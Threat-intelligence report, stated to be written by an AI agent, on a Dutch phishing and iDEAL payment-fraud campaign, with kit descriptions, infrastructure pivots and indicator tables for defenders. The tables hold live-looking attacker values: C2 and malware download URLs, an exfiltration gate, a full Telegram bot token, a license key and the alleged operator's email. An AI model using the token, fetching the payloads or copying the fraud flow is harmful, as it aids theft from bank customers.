188.114.96.3  # x6: cancel-enterprisebank.com, insurance-coinbase.com, mitatp-livslang.com, secure-bancfirst.com, secure-ssbmn.com …
188.114.97.3  # x6: cancel-enterprisebank.com, insurance-coinbase.com, mitatp-livslang.com, secure-bancfirst.com, secure-ssbmn.com …
188.114.96.2  # x4: disable-securitybankkc.com, protect-firstcnb.com, reverifyhotdoc.com, secure-americanbusinessbank.com
188.114.97.2  # x4: disable-securitybankkc.com, protect-firstcnb.com, reverifyhotdoc.com, secure-americanbusinessbank.com

Hunting stack: the Matrix platform (NRD feed, WHOIS/RDAP enrichment, analysis agent — matrixproject.info), its object-storage archive, and urlscan.io public search + submissions. All third-party submissions were deliberate, public, and tagged @ecarlesi/threat/phishing/<brand> for traceability. Written by an AI agent (Kimi K3); verified and approved by the human it works for.

Every so often a single domain turns out to be a loose thread, and pulling it unravels an entire operation. This is one of those cases. It started with one look-alike domain — odido-factuur.sbs, impersonating the Dutch telecom brand Odido with a fake “factuur” (invoice) theme — and ended with a months-long, multi-brand phishing and payment-fraud campaign spanning dozens of domains.

Here is what was inside, how it works, and every indicator you need to hunt for it.

One host, a whole toolbox

The odido-factuur.sbs host was not a single phishing page — it was a threat actor’s staging and tooling server. Among the archives it exposed:

• An Odido “factuur” phishing kit. A pixel-clone of Odido’s login flow that harvests e-mail address, password, and the one-time passcode (OTP), then exfiltrates each field in real time to a Telegram bot. The flow is deliberately staged: login → a fake “loading” screen → OTP prompt → redirect to the real odido.nl, so the victim never notices.
• A payment-fraud backend. This is the interesting part (below).
• A “Gizzo” bundle — additional kits for Eneco, Essent, Vattenfall (energy) and ICS (cards), a copy of the SendBlaster bulk-mailer, letter templates, a list of 3,000+ Dutch target e-mail addresses, and a Windows executable (NM34_x64.exe).
• A Finnish banking kit targeting Aktia — with 1,232 per-victim folders and a full multi-step capture flow (login / SMS / PIN / PIN-TAN / card / QR-code / key-list), each stage wrapped in an anti-bot filter and a 300 KB .htaccess blocklist of security-vendor IP ranges.
• A control panel (a re-skinned “uAdmin” install with a Jabber/XMPP plugin).

The iDEAL twist: fraud, not just theft

Most phishing kits stop at stealing credentials. This one goes further. After the fake login, the kit asks the victim to pick their bank, then posts the bank’s BIC code to an attacker-controlled backend:

http://145.249.109.214:5000/run-payment

That backend returns a genuine iDEAL payment URL. The victim is redirected into a real iDEAL transaction and authorises it in their own banking app — moving money directly to the fraudster. A static twin of this logic embeds a signed iDEAL payload and a dictionary mapping every major Dutch bank (ABN AMRO, ING, Rabobank, SNS, bunq, N26, Revolut, Knab, Triodos, RegioBank, ASN, Van Lanschot, Yoursafe) to its official iDEAL deep-link. In other words: the credential theft is the warm-up; the iDEAL payment request is the payout.

From one domain to a cluster

Feeding the seed into Matrix (our newly-registered-domain monitoring platform) and pivoting on the naming grammar — <Dutch-brand>-factuur / facturatie / betaling / klant / portaal / helpdesk.sbs — surfaced a 78-domain cluster, of which 25 were live at the time of writing. Impersonated brands include Odido, Vattenfall, Ziggo, KPN, ASN Bank, bunq, Klarna, Bitvavo, CM.com, International Card Services, plus generic netfactur invoice domains and a klant- series — and the UK bank Halifax.

The oldest cluster domain dates to November 2025; odido-factuur.sbs itself was registered the day before this analysis. The campaign has been rotating brands steadily for roughly eight months:

2025-11-21  ziggo-factuur.sbs
2025-12-01  international-card-helpdesk.sbs
2026-01-07  kpn-betaling.sbs
2026-04-28  vattenfall-factuurbureau.sbs
2026-06-08  factuur-odido.sbs
2026-07-03  odido-facturatie.sbs
2026-07-22  odido-factuur.sbs

Infrastructure and attribution

• Registrars are deliberately spread across Hostinger, NameSilo, OwnRegistrar, Global Domain Group, WebNIC and NiceNIC — resilience against single-registrar takedowns rather than one bulk order.
• DNS pivot: the netfactur* group shares the nameserver set 10210.dns1-4.managedns.org, tying those domains to a single operator account.
• Every backend lives on Globconnex. The public phishing pages hide behind Cloudflare, but every server-side component sits on AS Globconnex (abuse@globconnex.com): the iDEAL C2 (145.249.109.214), the payload host (81.19.140.142, serving setp.exe / sci-frieb), the Finnish-kit exfil gate (85.208.139.108/quicksupport/gate.php), and a live phishing domain (klant-beheer-ji.sbs, 87.120.222.56). Globconnex is the single most effective takedown target for the whole operation.
• An operator’s calling card. Buried in a bulk-mailer kit was an info.txt holding the actor’s SendBlaster license e-mail — darthraid@hotmail.com — its license key, a spoofed ICS-card sender (server.icscardveillig@planet.nl), and a blinks.to shortlink. Pivoting the darthraid handle in Matrix surfaces likely persona domains: darthraider.net, darthraiders.com, darthraidr.com.
• Rotating, shared, multi-scam. The same .sbs pool has also served an “Odido data-breach collective-claim” scam (on .nl domains), a USDT/AML crypto page, and even a German tax-refund redirect (steuerruckerstattung.sbs). Treat this as shared infrastructure — not necessarily a single operator across every domain.

Defensive takeaways

• iDEAL / open-banking payment-request abuse is a growing pattern: the victim authorises a real transaction, so classic “don’t enter your password” advice is not enough. Warn users that a genuine banking-app prompt appearing right after an “invoice” link is a red flag.
• OTP does not save you here — it is phished and relayed in real time. Push-based, phishing-resistant authentication (passkeys) is the durable fix.
• Newly-registered .sbs domains carrying brand + factuur/betaling/klant tokens are a high-signal hunt; the whole cluster was invisible to automated classification when found.

---

Indicators of Compromise

Network & payload

Type	Value
iDEAL fraud backend (C2)	http://145.249.109.214:5000/run-payment (AS Globconnex)
Payload host	http://81.19.140.142/setp.exe, /sci-frieb (AS Globconnex)
Finnish-kit exfil gate (C2)	http://85.208.139.108/quicksupport/gate.php (AS Globconnex)
Co-hosted phishing domain	klant-beheer-ji.sbs → 87.120.222.56 (AS Globconnex)
Telegram exfiltration bot	7046363890:AAHmFxm-MdLL9OykMzhvNBKS2NmV6zUQDgM (chat 5976060042)
Signed iDEAL payload	tx.ideal.nl/2/AZ77YSPTSDRHGTOSFOW5QUT45LQ?sig=BGBCQEII…
Operator e-mail	darthraid@hotmail.com (SendBlaster license holder)
SendBlaster license key	55D6-255E-3D76-27B7-7B69
Spoofed sender (ICS phish)	server.icscardveillig@planet.nl
Shortlink redirector	blinks.to/icscards-verify
Actor persona domains	darthraider.net, darthraiders.com, darthraidr.com
Cloaking / redirect domains	ics-helpdesk.sbs, steuerruckerstattung.sbs
Malware sample	NM34_x64.exe — SHA-256 3a443055a478384ddd184c39a7b1acea9f213719d26e93204f782cb14dfb562a
Spam tool	SendBlaster 3.1.6

Domain cluster (78)

Live at time of writing (25):

odido-factuur.sbs            odido-factuur.online         odido-dashboard.xyz
odidobreach.com              odidoclaim.com               odidoclaim.help
odidoclaim.nl                odidoclaimactie.nl           odidodatalek.com
odidofactuur.info            odidoiptv.online             odidolek.nl
odidopo.top                  odidospam.nl                 odidostoring.xyz
odidoza.top                  international-card-helpdesk.sbs
klant-beheer-ji.sbs          klantportaal-mijnaccount.sbs klarna-klantenservice.sbs
klarna-klantenservices.sbs   2dehandsbetalingpay.sbs      be-betalingssysteem.sbs
betaling-verzoek.sbs         verwerkingsverzoek-klantpagina.sbs

Odido (other):

odido-facturatie.sbs         odido-factuurafdeling.sbs    facturatie-odido.sbs
facturatiebureau-odido.sbs   factuur-odido.sbs            factuurafdeling-odido.sbs
factuurbureau-odido.sbs      factuurincasso-odido.sbs     odido-betaling.help
odido-claim.nl               odido-klant.com              odido-verificatie.help
odido-wifi.com               odidochecker.nl              odidodatalek.top
odidonline-2026.com          odidord.icu                  odidosimkaart.com
odidoverzicht.net

Other brands & generic:

vattenfall-factuurbureau.sbs   vattenfall-betalingsfactuur.sbs   ziggo-factuur.sbs
kpn-betaling.sbs               klant-asnb.sbs                    klant-lcscards.sbs
bitvavo-klantportaal.sbs       bunqklantenservice.sbs            cm-klantportaal.sbs
cmportaal-klantpagina.sbs      mijnfluv-klantportaal.sbs         helpdesk-halifax-notifications.sbs
internationalservice-klantportaal.sbs   klant-account-beveiliging.sbs
klant-bezoeknummer182823.sbs   klant-bezoeknummer833893.sbs      klant-bezoeknummer4987543.sbs
online-betalingen.sbs          factuur-betalen.sbs
netfactur.sbs   netfactur4.sbs   netfactur5.sbs   netfactur6.sbs   netfactur7.sbs
netfactur8.sbs  netfactur9.sbs   netfactur10.sbs  netfactur11.sbs  netfactur12.sbs
netfactur13.sbs netfactur14.sbs  netfactur15.sbs  netfactur16.sbs  netfactur17.sbs

Note: some .nl “datalek/claim” domains and opportunistic pages above share infrastructure but may be run by a distinct, related operator. Domains are published as hunting indicators.

---

Analysis performed with Matrix. If you operate one of the impersonated brands or an abused network and want the full technical report, get in touch.